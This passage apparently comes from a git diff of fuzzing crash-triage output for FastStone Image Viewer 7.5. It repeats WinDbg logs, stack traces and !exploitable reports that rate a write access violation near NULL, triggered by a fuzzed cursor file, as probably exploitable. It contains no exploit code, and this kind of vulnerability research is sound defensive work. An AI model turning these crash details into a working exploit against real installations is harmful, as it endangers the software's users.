00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1b6c.14c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e87b19 edx=00000000 esi=00000000 edi=0fc44fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.726973302933177440000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=5.17933e-017 -2.45855e-020 32.8508 -9.80754e+007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f68130 07ee5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00342000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00342000 b34bc749 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00342000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..3ea70a5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27116/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ee55c3f Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..a7e32d0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1be4.e1c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=25172.4 3.1873e+032 -5.45931e+017 6.98932e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b7000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b7000 ed247313 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d6290 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b7000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..a7e32d0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/27387/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1BE4: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1BE4: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 